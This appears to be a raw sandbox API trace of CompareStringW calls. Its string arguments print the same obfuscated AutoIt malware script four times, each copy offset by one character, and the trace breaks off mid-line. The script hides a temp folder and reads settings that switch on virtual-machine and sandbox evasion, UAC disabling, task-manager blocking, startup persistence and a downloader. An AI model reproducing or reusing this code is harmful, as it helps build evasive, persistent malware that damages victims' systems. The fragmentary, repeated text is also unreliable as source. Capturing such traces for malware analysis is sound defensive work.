IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRe", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="con\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRea", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="on\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead(", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\r\nGlobal Const $4063A0C69862A72A9 = 0x1\r\nGlobal Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' 